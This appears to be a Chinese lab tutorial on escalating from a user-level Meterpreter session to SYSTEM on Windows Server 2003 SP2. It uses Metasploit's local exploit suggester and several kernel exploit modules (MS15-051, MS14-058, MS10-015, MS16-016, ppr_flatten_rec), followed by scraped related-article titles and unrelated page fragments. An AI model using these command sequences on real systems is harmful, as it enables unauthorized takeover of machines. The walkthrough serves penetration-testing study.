msf利用- windows内核提权漏洞
windows内核提权漏洞
环境:
Kali Linux(攻击机) 192.168.190.141
Windows2003SP2(靶机) 192.168.190.147
0x01寻找可利用的exp
实战中我们在拿到一个反弹shell后(meterpreter)下一步会进行提权操作,而metaspolit的内置模块Local Exploit Suggester。这个模块可以帮助我们识别系统存在哪些漏洞可以被利用,并且为我们提供最合适的exp,通过这个exp我们可以进一步提权。
如下图,有一个普通用户权限的会话
在拿到meterpreter会话的前提下,我们可以利用这个模块进行收集
可以看到我这里有和目标机的一个session会话,id为4,我们使用local_exploit_suggester模块
use post/multi/recon/local_exploit_suggester set LHOST 192.168.190.141 set SESSION Exploit
如下图所示,它自动的为我们匹配出了一些可能的用于易受攻击目标提权的漏洞利用的exp模块。
0x02 利用exp提权
根据metaspolit的内置模块Local Exploit Suggester模块列出的可利用模块,我们来进行提权,提权成功后会返回新的、提升权限成功后的session会话。
选取了几个常见的可利用的模块来进行提权演示。
Windows ClientCopyImage Win32k Exploit(ms15_051)
Windows内核模式驱动程序中的漏洞让攻击者可以进行提权。
这个模块利用了win32k.sys内核模式驱动程序中不正确的对象处理。
使用模块 查看设置的参数
设置参数 提权
use exploit/windows/local/ms15_051_client_copy_image set lhost 192.168.190.141 set session exploit
Windows TrackPopupMenu Win32k NULL Pointer Dereference(ms14_058)
该模块利用了win32k.sys中的NULL Pointer Dereference,这个漏洞可以通过使用TrackPopupMenu来触发。在特定情况下,可以在xxxSendMessage Timeout上滥用NULL Pointer Dereference来获取任意代码执行。
这个模块已经在Windows XP SP3,Windows Server 2003 SP2,Windows7 SP1,Windows Server2008 32位和Windows Server2008R2 SP164位上测试过。
use exploit/windows/local/ms14_058_track_popup_menu set lhost 192.168.190.141 set session exploit
通过KiTrap0D进行Windows系统提权(ms10_015)
这个模块会通过Kitrap0D这个exp来生成一个SYSTEM权限的新会话,如果当前会话已经是SYSTEM权限,那么这个脚本将不起作用。这个脚本依赖于kitrap0d.x86.dll这个文件,而且不支持64位的Windows操作系统。
该模块已经在存在漏洞的Windows Server 2003,Windows Server 2008,Windows7和XP上测试过,只限32位操作系统。
use exploit/windows/local/ms10_015_kitrap0d set lhost 192.168.190.141 set session exploit
mrxdav.sys WebDav本地提权(MS16-016)
这个exp利用的是mrxdav.sys中的漏洞,漏洞编号是MS16-016。该模块会在目标主机上生成一个进程,并通过在特权进程的环境下执行指定的payload来提权。
该模块在存在漏洞的Windows7 SP1 x86架构上测试过可行。
use exploit/windows/local/ms16_016_webdav set lhost 192.168.190.141 set session exploit
EPATHOBJ::pprFlattenRec本地提权
这个漏洞是由于EPATHOBJ::pprFlattenRec使用了未初始化的数据而产生的,该漏洞可以对内存产生破坏。
而我们的这个脚本就是利用这个漏洞来提权的。
这个模块已经在Windows XP SP3,Windows2003SP1和Windows7SP1上成功执行。
use exploit/windows/local/ppr_flatten_rec set lhost 192.168.190.141 set session exploit
因为实验是sp2就没有成功
msf利用- windows内核提权漏洞的更多相关文章
- 9.CVE-2016-5195(脏牛)内核提权漏洞分析
漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...
- Linux本地内核提权漏洞复现(CVE-2019-13272)
Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...
- CVE-2019-13272:Linux本地内核提权漏洞复现
0x00 简介 2019年07月20日,Linux正式修复了一个本地内核提权漏洞.通过此漏洞,攻击者可将普通权限用户提升为Root权限. 0x01 漏洞概述 当调用PTRACE_TRACEME时,pt ...
- Windows原理深入学习系列-Windows内核提权
这是[信安成长计划]的第 22 篇文章 0x00 目录 0x01 介绍 0x02 替换 Token 0x03 编辑 ACL 0x04 修改 Privileges 0x05 参考文章 继续纠正网上文章中 ...
- 新Windows本地提权漏洞学习(CVE-2019-0841)
1.这是一个啥漏洞? 睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入.github连接我就不发了.担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码. 2.文件读写权 ...
- Windows 10 提权漏洞复现及武器化利用
项目地址:https://github.com/SandboxEscaper/randomrepo 相关工具的下载地址: Process Explorer:https://docs.microsoft ...
- Linux内核提权漏洞(CVE-2019-13272)
漏洞描述 kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程 ...
- windows内核提权
Windows by default are vulnerable to several vulnerabilities that could allow an attacker to execute ...
- 2018-2019-2 20165215《网络对抗技术》Exp10 Final Windows本地内核提权+Exploit-Exercises Nebula学习与实践
目录 PART ONE :Windows本地内核提权 漏洞概述 漏洞原理 漏洞复现 windbg调试本地内核 查看SSDT表和SSDTShadow表 查看窗口站结构体信息 利用Poc验证漏洞 漏洞利用 ...
随机推荐
- Null is your firend, not a mistake
原文作者: Roman Elizarov 原文地址: Null is your firend, not a mistake 译者:秉心说 Kotlin Island from Wikimedia by ...
- master.TableNamespaceManager: Namespace table not found. Creating...
1.错误描述: 出现上述这个错误的原因是我之前已经安装了Cloudera Manager中的CDH,其中添加了所有的服务,当然也包含HBase.然后重新安装的时候,就会出现如下错误: Failed t ...
- jdk1.8源码阅读
一.java.lang java的基础类 1.object 所有类的爸爸 registerNatives() Class<?> getClass():返回运行时的类 int hashCod ...
- centos 搭建SVN服务器简单流程
yum -y install subversion mkdir -p /work/svn && cd /work/svn //创建版本库 svnadmin create test -- ...
- 【Win10】时钟精确到秒
[Win10]时钟精确到秒 前言 想要桌面右下角的时钟"xx:xx:xx"精确到秒,可以使用绿色免费开源软件Dism++,也可以从该软件的代码中读到方法:用注册表实现. 步骤 进入 ...
- 删除linux自带jdk
提示:error: can't create transaction lock on /var/lib/rpm/.rpm.lock (Permission denied):代表权限不够 执行:su r ...
- jqGrid 日期格式化,只显示日期,去掉小时分
{name:'operateTime',index:'operateTime', formatter:"date", formatoptions: {newformat:'Y-m- ...
- 使用netsh来进行端口转发
目录 0x00 简介 0x01 2003命令介绍 0x02 2003以后命令介绍(以08为例) 0x03 实际利用案例 0x04 流量转发 0x00 简介 netsh(Network Shell) 是 ...
- Django之choices选项和富文本编辑器的使用
项目准备 1.创建数据库 create database choices_test default charset utf8; 2.创建一个名为 choices_test 的Django项目: 3.创 ...
- (java实现)单链表
什么是单链表 在了解单链表之前,你知道什么是链表吗?如果你不知道什么是链表,可以看看我的这篇博客<链表-LinkList> 单链表是链表的其中一种基本结构.一个最简单的结点结构如图所示,它 ...








